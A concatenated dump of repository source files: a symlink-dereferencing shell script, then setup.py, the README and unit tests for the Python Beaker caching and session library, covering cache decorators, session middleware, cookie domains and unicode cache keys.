segue.destinationViewController. // Pass the selected object to the new view controller. } */ }
05df630df29e44254b0d7d6a617aca6dcf78589a
[ "Swift" ]
1
Swift
izlizarazo/Recommend-App
6e34e7fce36bbcf4720351bd5699936d69ee39b2
132deb7c1a2ee68a7673a4d2a6ac0ccc1682e04c
refs/heads/master
<repo_name>srbufi/nixconfigs<file_sep>/copyOverSymLinks.sh find . -type l -exec cp --dereference --recursive '{}' '{}'.dereferenced \; # http://superuser.com/questions/303559/replace-symbolic-links-with-files # http://www.cyberciti.biz/faq/linux-unix-how-to-find-and-remove-files/ <file_sep>/test/copyOverSymLinks.sh #!/bin/bash for f in $(find . -maxdepth 1 -type l) do cp --remove-destination $(readlink $f) $f done
f6222b7467af881d54566ed01be02333ade1a82d
[ "Shell" ]
2
Shell
srbufi/nixconfigs
a3fe18afbed01c351515bb31caf53e722994f29d
8953f91e957e10ca7721708e154af8026ab2ee29
refs/heads/master
<repo_name>ardeois/beaker<file_sep>/tests/test_database.py # coding: utf-8 from beaker._compat import u_ from beaker.cache import clsmap, Cache, util from beaker.exceptions import InvalidCacheBackendError from beaker.middleware import CacheMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: TestApp = None try: clsmap['ext:database']._init_dependencies() except InvalidCacheBackendError: raise SkipTest("an appropriate SQLAlchemy backend is not installed") db_url = 'sqlite:///test.db' def simple_app(environ, start_response): extra_args = {} clear = False if environ.get('beaker.clear'): clear = True extra_args['type'] = 'ext:database' extra_args['url'] = db_url extra_args['data_dir'] = './cache' cache = environ['beaker.cache'].get_cache('testcache', **extra_args) if clear: cache.clear() try: value = cache.get_value('value') except: value = 0 cache.set_value('value', value+1) start_response('200 OK', [('Content-type', 'text/plain')]) return [('The current value is: %s' % cache.get_value('value')).encode('utf-8')] def cache_manager_app(environ, start_response): cm = environ['beaker.cache'] cm.get_cache('test')['test_key'] = 'test value' start_response('200 OK', [('Content-type', 'text/plain')]) yield ("test_key is: %s\n" % cm.get_cache('test')['test_key']).encode('utf-8') cm.get_cache('test').clear() try: test_value = cm.get_cache('test')['test_key'] except KeyError: yield ("test_key cleared").encode('utf-8') else: yield ("test_key wasn't cleared, is: %s\n" % test_value).encode('utf-8') def test_has_key(): cache = Cache('test', data_dir='./cache', url=db_url, type='ext:database') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache assert not cache.has_key("foo") assert "foo" not in cache cache.remove_value("test") assert not cache.has_key("test") def test_has_key_multicache(): cache = Cache('test', data_dir='./cache', url=db_url, type='ext:database') o = object() cache.set_value("test", o) assert cache.has_key("test") assert "test" in cache cache = Cache('test', data_dir='./cache', url=db_url, type='ext:database') assert cache.has_key("test") cache.remove_value('test') def test_clear(): cache = Cache('test', data_dir='./cache', url=db_url, type='ext:database') o = object() cache.set_value("test", o) assert cache.has_key("test") cache.clear() assert not cache.has_key("test") def test_unicode_keys(): cache = Cache('test', data_dir='./cache', url=db_url, type='ext:database') o = object() cache.set_value(u_('hiŏ'), o) assert u_('hiŏ') in cache assert u_('hŏa') not in cache cache.remove_value(u_('hiŏ')) assert u_('hiŏ') not in cache @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_increment(): app = TestApp(CacheMiddleware(simple_app)) res = app.get('/', extra_environ={'beaker.clear':True}) assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res @util.skip_if(lambda: TestApp is None, "webtest not installed") def test_cache_manager(): app = TestApp(CacheMiddleware(cache_manager_app)) res = app.get('/') assert 'test_key is: test value' in res assert 'test_key cleared' in res <file_sep>/tests/annotated_functions.py # -*- coding: utf-8 -*- """This is a collection of annotated functions used by tests. They are grouped here to provide an easy way to import them at runtime to check whenever tests for annotated functions should be skipped or not on current python version. """ from beaker.cache import cache_region import time class AnnotatedAlfredCacher(object): @cache_region('short_term') def alfred_self(self, xx: int, y=None) -> str: return str(time.time()) + str(self) + str(xx) + str(y) <file_sep>/tests/test_namespacing_files/namespace_go.py from __future__ import print_function import time def go(): from . import namespace_get a = namespace_get.get_cached_value() time.sleep(0.3) b = namespace_get.get_cached_value() time.sleep(0.3) from ..test_namespacing_files import namespace_get as upper_ns_get c = upper_ns_get.get_cached_value() time.sleep(0.3) d = upper_ns_get.get_cached_value() print(a) print(b) print(c) print(d) assert a == b, 'Basic caching problem - should never happen' assert c == d, 'Basic caching problem - should never happen' assert a == c, 'Namespaces not consistent when using different import paths' <file_sep>/setup.py import os import sys import re import inspect from setuptools import setup, find_packages py_version = sys.version_info[:2] here = os.path.abspath(os.path.dirname(__file__)) v = open(os.path.join(here, 'beaker', '__init__.py')) VERSION = re.compile(r".*__version__ = '(.*?)'", re.S).match(v.read()).group(1) v.close() try: README = open(os.path.join(here, 'README.rst')).read() except IOError: README = '' INSTALL_REQUIRES = [] if not hasattr(inspect, 'signature'): # On Python 2.6, 2.7 and 3.2 we need funcsigs dependency INSTALL_REQUIRES.append('funcsigs') TESTS_REQUIRE = ['nose', 'Mock', 'pycryptodome'] if py_version == (2, 6): TESTS_REQUIRE.append('WebTest<2.0.24') else: TESTS_REQUIRE.append('webtest') if py_version == (3, 2): TESTS_REQUIRE.append('coverage < 4.0') else: TESTS_REQUIRE.append('coverage') if py_version == (3, 3): TESTS_REQUIRE.append('cryptography < 2.1.0') else: TESTS_REQUIRE.append('cryptography') if not sys.platform.startswith('java') and not sys.platform == 'cli': TESTS_REQUIRE.extend(['SQLALchemy', 'pymongo', 'redis']) try: import sqlite3 except ImportError: TESTS_REQUIRE.append('pysqlite') if py_version[0] == 2: TESTS_REQUIRE.extend(['pylibmc', 'python-memcached']) setup(name='Beaker', version=VERSION, description="A Session and Caching library with WSGI Middleware", long_description=README, classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.2', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Internet :: WWW/HTTP :: WSGI', 'Topic :: Internet :: WWW/HTTP :: WSGI :: Middleware', ], keywords='wsgi myghty session web cache middleware', author='<NAME>, <NAME>, <NAME>, <NAME>', author_email='<EMAIL>, <EMAIL>, <EMAIL>', url='https://beaker.readthedocs.io/', license='BSD', packages=find_packages(exclude=['ez_setup', 'examples', 'tests', 'tests.*']), zip_safe=False, install_requires=INSTALL_REQUIRES, extras_require={ 'crypto': ['pycryptopp>=0.5.12'], 'pycrypto': ['pycrypto'], 'pycryptodome': ['pycryptodome'], 'cryptography': ['cryptography'], 'testsuite': [TESTS_REQUIRE] }, test_suite='nose.collector', tests_require=TESTS_REQUIRE, entry_points=""" [paste.filter_factory] beaker_session = beaker.middleware:session_filter_factory [paste.filter_app_factory] beaker_session = beaker.middleware:session_filter_app_factory [beaker.backends] database = beaker.ext.database:DatabaseNamespaceManager memcached = beaker.ext.memcached:MemcachedNamespaceManager google = beaker.ext.google:GoogleNamespaceManager sqla = beaker.ext.sqla:SqlaNamespaceManager """ ) <file_sep>/tests/test_namespacing_files/namespace_get.py from beaker.cache import CacheManager from beaker.util import parse_cache_config_options from datetime import datetime defaults = {'cache.data_dir':'./cache', 'cache.type':'dbm', 'cache.expire': 60, 'cache.regions': 'short_term'} cache = CacheManager(**parse_cache_config_options(defaults)) def get_cached_value(): @cache.region('short_term', 'test_namespacing') def get_value(): return datetime.now() return get_value() <file_sep>/tests/test_increment.py import re import os from beaker.middleware import SessionMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: raise SkipTest("webtest not installed") def teardown(): import shutil shutil.rmtree('./cache', True) def no_save_app(environ, start_response): session = environ['beaker.session'] sess_id = environ.get('SESSION_ID') start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %s, session id is %s' % (session.get('value'), session.id) return [msg.encode('utf-8')] def simple_app(environ, start_response): session = environ['beaker.session'] sess_id = environ.get('SESSION_ID') if sess_id: session = session.get_by_id(sess_id) if not session: start_response('200 OK', [('Content-type', 'text/plain')]) return [("No session id of %s found." % sess_id).encode('utf-8')] if not 'value' in session: session['value'] = 0 session['value'] += 1 if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %s, session id is %s' % (session.get('value'), session.id) return [msg.encode('utf-8')] def simple_auto_app(environ, start_response): """Like the simple_app, but assume that sessions auto-save""" session = environ['beaker.session'] sess_id = environ.get('SESSION_ID') if sess_id: session = session.get_by_id(sess_id) if not session: start_response('200 OK', [('Content-type', 'text/plain')]) return [("No session id of %s found." % sess_id).encode('utf-8')] if not 'value' in session: session['value'] = 0 session['value'] += 1 if environ['PATH_INFO'].startswith('/nosave'): session.revert() start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %s, session id is %s' % (session.get('value', 0), session.id) return [msg.encode('utf-8')] def test_no_save(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(no_save_app, **options)) res = app.get('/') assert 'current value is: None' in res assert [] == res.headers.getall('Set-Cookie') def test_increment(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_increment_auto(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_auto_app, auto=True, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res res = app.get('/') assert 'current value is: 3' in res def test_different_sessions(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_app, **options)) app2 = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app2.get('/') assert 'current value is: 1' in res res = app2.get('/') res = app2.get('/') res = app2.get('/') res2 = app.get('/') assert 'current value is: 2' in res2 assert 'current value is: 4' in res def test_different_sessions_auto(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_auto_app, auto=True, **options)) app2 = TestApp(SessionMiddleware(simple_auto_app, auto=True, **options)) res = app.get('/') assert 'current value is: 1' in res res = app2.get('/') assert 'current value is: 1' in res res = app2.get('/') res = app2.get('/') res = app2.get('/') res2 = app.get('/') assert 'current value is: 2' in res2 assert 'current value is: 4' in res def test_nosave(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/nosave') assert 'current value is: 1' in res res = app.get('/nosave') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 1' in res res = app.get('/') assert 'current value is: 2' in res def test_revert(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_auto_app, auto=True, **options)) res = app.get('/nosave') assert 'current value is: 0' in res res = app.get('/nosave') assert 'current value is: 0' in res res = app.get('/') assert 'current value is: 1' in res assert [] == res.headers.getall('Set-Cookie') res = app.get('/') assert [] == res.headers.getall('Set-Cookie') assert 'current value is: 2' in res # Finally, ensure that reverting shows the proper one res = app.get('/nosave') assert [] == res.headers.getall('Set-Cookie') assert 'current value is: 2' in res def test_load_session_by_id(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/') res = app.get('/') assert 'current value is: 3' in res old_id = re.sub(r'^.*?session id is (\S+)$', r'\1', res.body.decode('utf-8'), re.M) # Clear the cookies and do a new request app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res # Load a bogus session to see that its not there res = app.get('/', extra_environ={'SESSION_ID': 'jil2j34il2j34ilj23'}) assert 'No session id of' in res # Saved session was at 3, now it'll be 4 res = app.get('/', extra_environ={'SESSION_ID': str(old_id)}) assert 'current value is: 4' in res # Prior request is now up to 2 res = app.get('/') assert 'current value is: 2' in res if __name__ == '__main__': from paste import httpserver wsgi_app = SessionMiddleware(simple_app, {}) httpserver.serve(wsgi_app, host='127.0.0.1', port=8080) <file_sep>/tests/test_domain_setting.py import re import os from beaker.middleware import SessionMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: raise SkipTest("webtest not installed") def teardown(): import shutil shutil.rmtree('./cache', True) def simple_app(environ, start_response): session = environ['beaker.session'] domain = environ.get('domain') if domain: session.domain = domain if not session.has_key('value'): session['value'] = 0 session['value'] += 1 if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %s, session id is %s' % (session.get('value', 0), session.id) return [msg.encode('utf-8')] def test_same_domain(): options = {'session.data_dir':'./cache', 'session.secret':'blah', 'session.cookie_domain': '.hoop.com'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/', extra_environ=dict(HTTP_HOST='subdomain.hoop.com')) assert 'current value is: 1' in res assert 'Domain=.hoop.com' in res.headers['Set-Cookie'] res = app.get('/', extra_environ=dict(HTTP_HOST='another.hoop.com')) assert 'current value is: 2' in res assert [] == res.headers.getall('Set-Cookie') res = app.get('/', extra_environ=dict(HTTP_HOST='more.subdomain.hoop.com')) assert 'current value is: 3' in res def test_different_domain(): options = {'session.data_dir':'./cache', 'session.secret':'blah'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/', extra_environ=dict(domain='.hoop.com', HTTP_HOST='www.hoop.com')) res = app.get('/', extra_environ=dict(domain='.hoop.co.uk', HTTP_HOST='www.hoop.com')) assert 'Domain=.hoop.co.uk' in res.headers['Set-Cookie'] assert 'current value is: 2' in res res = app.get('/', extra_environ=dict(domain='.hoop.co.uk', HTTP_HOST='www.test.com')) assert 'current value is: 1' in res if __name__ == '__main__': from paste import httpserver wsgi_app = SessionMiddleware(simple_app, {}) httpserver.serve(wsgi_app, host='127.0.0.1', port=8080) <file_sep>/README.rst Some stuff ========================= Cache and Session Library ========================= About ===== Beaker is a web session and general caching library that includes WSGI middleware for use in web applications. As a general caching library, Beaker can handle storing for various times any Python object that can be pickled with optional back-ends on a fine-grained basis. Beaker was built largely on the code from MyghtyUtils, then refactored and extended with database support. Beaker includes Cache and Session WSGI middleware to ease integration with WSGI capable frameworks, and is automatically used by `Pylons <http://www.pylonsproject.org/projects/pylons-framework/about>`_ and `TurboGears <http://www.turbogears.org/>`_. Features ======== * Fast, robust performance * Multiple reader/single writer lock system to avoid duplicate simultaneous cache creation * Cache back-ends include dbm, file, memory, memcached, Redis, MongoDB, and database (Using SQLAlchemy for multiple-db vendor support) * Signed cookies to prevent session hijacking/spoofing * Cookie-only sessions to remove the need for a db or file backend (ideal for clustered systems) * Extensible Container object to support new back-ends * Caches can be divided into namespaces (to represent templates, objects, etc.) then keyed for different copies * Create functions for automatic call-backs to create new cache copies after expiration * Fine-grained toggling of back-ends, keys, and expiration per Cache object Documentation ============= Documentation can be found on the `Official Beaker Docs site <http://beaker.groovie.org/>`_. Source ====== The latest developer version is available in a `GitHub repository <https://github.com/bbangert/beaker>`_. Contributing ============ Bugs can be filed on GitHub, **should be accompanied by a test case** to retain current code coverage, and should be in a pull request when ready to be accepted into the beaker code-base. <file_sep>/tests/test_unicode_cache_keys.py # coding: utf-8 """If we try to use a character not in ascii range as a cache key, we get an unicodeencode error. See https://bitbucket.org/bbangert/beaker/issue/31/cached-function-decorators-break-when-some for more on this """ from nose.tools import * from beaker._compat import u_ from beaker.cache import CacheManager memory_cache = CacheManager(type='memory') @memory_cache.cache('foo') def foo(whatever): return whatever class bar(object): @memory_cache.cache('baz') def baz(self, qux): return qux @classmethod @memory_cache.cache('bar') def quux(cls, garply): return garply def test_A_unicode_encode_key_str(): eq_(foo('Espanol'), 'Espanol') eq_(foo(12334), 12334) eq_(foo(u_('Espanol')), u_('Espanol')) eq_(foo(u_('Español')), u_('Español')) b = bar() eq_(b.baz('Espanol'), 'Espanol') eq_(b.baz(12334), 12334) eq_(b.baz(u_('Espanol')), u_('Espanol')) eq_(b.baz(u_('Español')), u_('Español')) eq_(b.quux('Espanol'), 'Espanol') eq_(b.quux(12334), 12334) eq_(b.quux(u_('Espanol')), u_('Espanol')) eq_(b.quux(u_('Español')), u_('Español')) def test_B_replacing_non_ascii(): """we replace the offending character with other non ascii one. Since the function distinguishes between the two it should not return the past value """ assert_false(foo(u_('Espaáol'))==u_('Español')) eq_(foo(u_('Espaáol')), u_('Espaáol')) def test_C_more_unicode(): """We again test the same stuff but this time we use http://tools.ietf.org/html/draft-josefsson-idn-test-vectors-00#section-5 as keys""" keys = [ # arabic (egyptian) u_("\u0644\u064a\u0647\u0645\u0627\u0628\u062a\u0643\u0644\u0645\u0648\u0634\u0639\u0631\u0628\u064a\u061f"), # Chinese (simplified) u_("\u4ed6\u4eec\u4e3a\u4ec0\u4e48\u4e0d\u8bf4\u4e2d\u6587"), # Chinese (traditional) u_("\u4ed6\u5011\u7232\u4ec0\u9ebd\u4e0d\u8aaa\u4e2d\u6587"), # czech u_("\u0050\u0072\u006f\u010d\u0070\u0072\u006f\u0073\u0074\u011b\u006e\u0065\u006d\u006c\u0075\u0076\u00ed\u010d\u0065\u0073\u006b\u0079"), # hebrew u_("\u05dc\u05de\u05d4\u05d4\u05dd\u05e4\u05e9\u05d5\u05d8\u05dc\u05d0\u05de\u05d3\u05d1\u05e8\u05d9\u05dd\u05e2\u05d1\u05e8\u05d9\u05ea"), # Hindi (Devanagari) u_("\u092f\u0939\u0932\u094b\u0917\u0939\u093f\u0928\u094d\u0926\u0940\u0915\u094d\u092f\u094b\u0902\u0928\u0939\u0940\u0902\u092c\u094b\u0932\u0938\u0915\u0924\u0947\u0939\u0948\u0902"), # Japanese (kanji and hiragana) u_("\u306a\u305c\u307f\u3093\u306a\u65e5\u672c\u8a9e\u3092\u8a71\u3057\u3066\u304f\u308c\u306a\u3044\u306e\u304b"), # Russian (Cyrillic) u_("\u043f\u043e\u0447\u0435\u043c\u0443\u0436\u0435\u043e\u043d\u0438\u043d\u0435\u0433\u043e\u0432\u043e\u0440\u044f\u0442\u043f\u043e\u0440\u0443\u0441\u0441\u043a\u0438"), # Spanish u_("\u0050\u006f\u0072\u0071\u0075\u00e9\u006e\u006f\u0070\u0075\u0065\u0064\u0065\u006e\u0073\u0069\u006d\u0070\u006c\u0065\u006d\u0065\u006e\u0074\u0065\u0068\u0061\u0062\u006c\u0061\u0072\u0065\u006e\u0045\u0073\u0070\u0061\u00f1\u006f\u006c"), # Vietnamese u_("\u0054\u1ea1\u0069\u0073\u0061\u006f\u0068\u1ecd\u006b\u0068\u00f4\u006e\u0067\u0074\u0068\u1ec3\u0063\u0068\u1ec9\u006e\u00f3\u0069\u0074\u0069\u1ebf\u006e\u0067\u0056\u0069\u1ec7\u0074"), # Japanese u_("\u0033\u5e74\u0042\u7d44\u91d1\u516b\u5148\u751f"), # Japanese u_("\u5b89\u5ba4\u5948\u7f8e\u6075\u002d\u0077\u0069\u0074\u0068\u002d\u0053\u0055\u0050\u0045\u0052\u002d\u004d\u004f\u004e\u004b\u0045\u0059\u0053"), # Japanese u_("\u0048\u0065\u006c\u006c\u006f\u002d\u0041\u006e\u006f\u0074\u0068\u0065\u0072\u002d\u0057\u0061\u0079\u002d\u305d\u308c\u305e\u308c\u306e\u5834\u6240"), # Japanese u_("\u3072\u3068\u3064\u5c4b\u6839\u306e\u4e0b\u0032"), # Japanese u_("\u004d\u0061\u006a\u0069\u3067\u004b\u006f\u0069\u3059\u308b\u0035\u79d2\u524d"), # Japanese u_("\u30d1\u30d5\u30a3\u30fc\u0064\u0065\u30eb\u30f3\u30d0"), # Japanese u_("\u305d\u306e\u30b9\u30d4\u30fc\u30c9\u3067"), # greek u_("\u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac"), # Maltese (Malti) u_("\u0062\u006f\u006e\u0121\u0075\u0073\u0061\u0127\u0127\u0061"), # Russian (Cyrillic) u_("\u043f\u043e\u0447\u0435\u043c\u0443\u0436\u0435\u043e\u043d\u0438\u043d\u0435\u0433\u043e\u0432\u043e\u0440\u044f\u0442\u043f\u043e\u0440\u0443\u0441\u0441\u043a\u0438") ] for i in keys: eq_(foo(i),i) def test_D_invalidate(): """Invalidate cache""" memory_cache.invalidate(foo) eq_(foo('Espanol'), 'Espanol') <file_sep>/tests/test_cache_decorator.py import time from datetime import datetime import beaker.cache as cache from beaker.cache import CacheManager, cache_region, region_invalidate from beaker import util from nose import SkipTest defaults = {'cache.data_dir':'./cache', 'cache.type':'dbm', 'cache.expire': 2} def teardown(): import shutil shutil.rmtree('./cache', True) @cache_region('short_term') def fred(x): return time.time() @cache_region('short_term') def george(x): return time.time() @cache_region('short_term') def albert(x): """A doc string""" return time.time() @cache_region('short_term') def alfred(x, xx, y=None): return str(time.time()) + str(x) + str(xx) + str(y) class AlfredCacher(object): @cache_region('short_term') def alfred_self(self, xx, y=None): return str(time.time()) + str(self) + str(xx) + str(y) try: from .annotated_functions import AnnotatedAlfredCacher except (ImportError, SyntaxError): AnnotatedAlfredCacher = None def make_cache_obj(**kwargs): opts = defaults.copy() opts.update(kwargs) cache = CacheManager(**util.parse_cache_config_options(opts)) return cache def make_cached_func(**opts): cache = make_cache_obj(**opts) @cache.cache() def load(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) return cache, load def make_region_cached_func(): opts = {} opts['cache.regions'] = 'short_term, long_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) @cache_region('short_term', 'region_loader') def load(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) return load def make_region_cached_func_2(): opts = {} opts['cache.regions'] = 'short_term, long_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) @cache_region('short_term') def load_person(person): now = datetime.now() return "Hi there %s, its currently %s" % (person, now) return load_person def test_check_region_decorator(): func = make_region_cached_func() result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 result3 = func('George') assert 'George' in result3 result4 = func('George') assert result3 == result4 time.sleep(2) # Now it should have expired as cache is 2secs result2 = func('Fred') assert result != result2 def test_different_default_names(): result = fred(1) time.sleep(0.1) result2 = george(1) assert result != result2 def test_check_invalidate_region(): func = make_region_cached_func() result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 region_invalidate(func, None, 'region_loader', 'Fred') result3 = func('Fred') assert result3 != result2 result2 = func('Fred') assert result3 == result2 # Invalidate a non-existent key region_invalidate(func, None, 'region_loader', 'Fredd') assert result3 == result2 def test_check_invalidate_region_2(): func = make_region_cached_func_2() result = func('Fred') assert 'Fred' in result result2 = func('Fred') assert result == result2 region_invalidate(func, None, 'Fred') result3 = func('Fred') assert result3 != result2 result2 = func('Fred') assert result3 == result2 # Invalidate a non-existent key region_invalidate(func, None, 'Fredd') assert result3 == result2 def test_invalidate_cache(): cache, func = make_cached_func() val = func('foo') time.sleep(0.1) val2 = func('foo') assert val == val2 cache.invalidate(func, 'foo') val3 = func('foo') assert val3 != val def test_class_key_cache(): cache = make_cache_obj() class Foo(object): @cache.cache('method') def go(self, x, y): return "hi foo" @cache.cache('standalone') def go(x, y): return "hi standalone" x = Foo().go(1, 2) y = go(1, 2) ns = go._arg_namespace assert cache.get_cache(ns).get('method 1 2') == x assert cache.get_cache(ns).get('standalone 1 2') == y def test_func_namespace(): def go(x, y): return "hi standalone" assert 'test_cache_decorator' in util.func_namespace(go) assert util.func_namespace(go).endswith('go') def test_class_key_region(): opts = {} opts['cache.regions'] = 'short_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) class Foo(object): @cache_region('short_term', 'method') def go(self, x, y): return "hi foo" @cache_region('short_term', 'standalone') def go(x, y): return "hi standalone" x = Foo().go(1, 2) y = go(1, 2) ns = go._arg_namespace assert cache.get_cache_region(ns, 'short_term').get('method 1 2') == x assert cache.get_cache_region(ns, 'short_term').get('standalone 1 2') == y def test_classmethod_key_region(): opts = {} opts['cache.regions'] = 'short_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) class Foo(object): @classmethod @cache_region('short_term', 'method') def go(cls, x, y): return "hi" x = Foo.go(1, 2) ns = Foo.go._arg_namespace assert cache.get_cache_region(ns, 'short_term').get('method 1 2') == x def test_class_key_region_invalidate(): opts = {} opts['cache.regions'] = 'short_term' opts['cache.short_term.expire'] = '2' cache = make_cache_obj(**opts) class Foo(object): @cache_region('short_term', 'method') def go(self, x, y): now = datetime.now() return "hi %s" % now def invalidate(self, x, y): region_invalidate(self.go, None, "method", x, y) x = Foo().go(1, 2) time.sleep(0.1) y = Foo().go(1, 2) Foo().invalidate(1, 2) z = Foo().go(1, 2) assert x == y assert x != z def test_check_region_decorator_keeps_docstring_and_name(): result = albert(1) time.sleep(0.1) result2 = albert(1) assert result == result2 assert albert.__doc__ == "A doc string" assert albert.__name__ == "albert" def test_check_region_decorator_with_kwargs(): result = alfred(1, xx=5, y=3) time.sleep(0.1) result2 = alfred(1, y=3, xx=5) assert result == result2 result3 = alfred(1, 5, y=5) assert result != result3 result4 = alfred(1, 5, 3) assert result == result4 result5 = alfred(1, 5, y=3) assert result == result5 def test_check_region_decorator_with_kwargs_and_self(): a1 = AlfredCacher() a2 = AlfredCacher() result = a1.alfred_self(xx=5, y='blah') time.sleep(0.1) result2 = a2.alfred_self(y='blah', xx=5) assert result == result2 result3 = a2.alfred_self(5, y=5) assert result != result3 result4 = a2.alfred_self(5, 'blah') assert result == result4 result5 = a2.alfred_self(5, y='blah') assert result == result5 result6 = a2.alfred_self(6, 'blah') assert result != result6 def test_check_region_decorator_with_kwargs_self_and_annotations(): if AnnotatedAlfredCacher is None: raise SkipTest('Python version not supporting annotations') a1 = AnnotatedAlfredCacher() a2 = AnnotatedAlfredCacher() result = a1.alfred_self(xx=5, y='blah') time.sleep(0.1) result2 = a2.alfred_self(y='blah', xx=5) assert result == result2 result3 = a2.alfred_self(5, y=5) assert result != result3 result4 = a2.alfred_self(5, 'blah') assert result == result4 result5 = a2.alfred_self(5, y='blah') assert result == result5 result6 = a2.alfred_self(6, 'blah') assert result != result6 <file_sep>/tests/test_cookie_domain_only.py import re import os import beaker.session from beaker.middleware import SessionMiddleware from nose import SkipTest try: from webtest import TestApp except ImportError: raise SkipTest("webtest not installed") from beaker import crypto if not crypto.get_crypto_module('default').has_aes: raise SkipTest("No AES library is installed, can't test cookie-only " "Sessions") def simple_app(environ, start_response): session = environ['beaker.session'] if not session.has_key('value'): session['value'] = 0 session['value'] += 1 domain = environ.get('domain') if domain: session.domain = domain if not environ['PATH_INFO'].startswith('/nosave'): session.save() start_response('200 OK', [('Content-type', 'text/plain')]) msg = 'The current value is: %d and cookie is %s' % (session['value'], session) return [msg.encode('utf-8')] def test_increment(): options = {'session.validate_key':'hoobermas', 'session.type':'cookie'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/') assert 'current value is: 1' in res res = app.get('/', extra_environ=dict(domain='.hoop.com', HTTP_HOST='www.hoop.com')) assert 'current value is: 1' in res assert 'Domain=.hoop.com' in res.headers['Set-Cookie'] res = app.get('/', extra_environ=dict(HTTP_HOST='www.hoop.com')) assert 'Domain=.hoop.com' in res.headers['Set-Cookie'] assert 'current value is: 2' in res def test_cookie_attributes_are_preserved(): options = {'session.type': 'memory', 'session.httponly': True, 'session.secure': True, 'session.cookie_path': '/app', 'session.cookie_domain': 'localhost'} app = TestApp(SessionMiddleware(simple_app, **options)) res = app.get('/app', extra_environ=dict( HTTP_COOKIE='beaker.session.id=oldsessid', domain='.hoop.com')) cookie = res.headers['Set-Cookie'] assert 'domain=.hoop.com' in cookie.lower() assert 'path=/app' in cookie.lower() assert 'secure' in cookie.lower() assert 'httponly' in cookie.lower() if __name__ == '__main__': from paste import httpserver wsgi_app = SessionMiddleware(simple_app, {}) httpserver.serve(wsgi_app, host='127.0.0.1', port=8080) <file_sep>/tests/test_syncdict.py from beaker.util import SyncDict, WeakValuedRegistry import random, time, weakref import threading class Value(object): values = {} def do_something(self, id): Value.values[id] = self def stop_doing_something(self, id): del Value.values[id] mutex = threading.Lock() def create(id): assert not Value.values, "values still remain" global totalcreates totalcreates += 1 return Value() def threadtest(s, id): print("create thread %d starting" % id) global running global totalgets while running: try: value = s.get('test', lambda: create(id)) value.do_something(id) except Exception as e: print("Error", e) running = False break else: totalgets += 1 time.sleep(random.random() * .01) value.stop_doing_something(id) del value time.sleep(random.random() * .01) def runtest(s): global values values = {} global totalcreates totalcreates = 0 global totalgets totalgets = 0 global running running = True threads = [] for id_ in range(1, 20): t = threading.Thread(target=threadtest, args=(s, id_)) t.start() threads.append(t) for i in range(0, 10): if not running: break time.sleep(1) failed = not running running = False for t in threads: t.join() assert not failed, "test failed" print("total object creates %d" % totalcreates) print("total object gets %d" % totalgets) def test_dict(): # normal dictionary test, where we will remove the value # periodically. the number of creates should be equal to # the number of removes plus one. print("\ntesting with normal dict") runtest(SyncDict()) def test_weakdict(): print("\ntesting with weak dict") runtest(WeakValuedRegistry()) <file_sep>/tests/test_managers/test_ext_mongodb.py from beaker.cache import Cache from . import base class TestMongoDB(base.CacheManagerBaseTests): CACHE_ARGS = { 'type': 'ext:mongodb', 'url': 'mongodb://localhost:27017/beaker_testdb' } def test_client_reuse(self): cache1 = Cache('test1', **self.CACHE_ARGS) cli1 = cache1.namespace.client cache2 = Cache('test2', **self.CACHE_ARGS) cli2 = cache2.namespace.client self.assertTrue(cli1 is cli2)<file_sep>/tests/test_session.py # -*- coding: utf-8 -*- from beaker._compat import u_, pickle import binascii 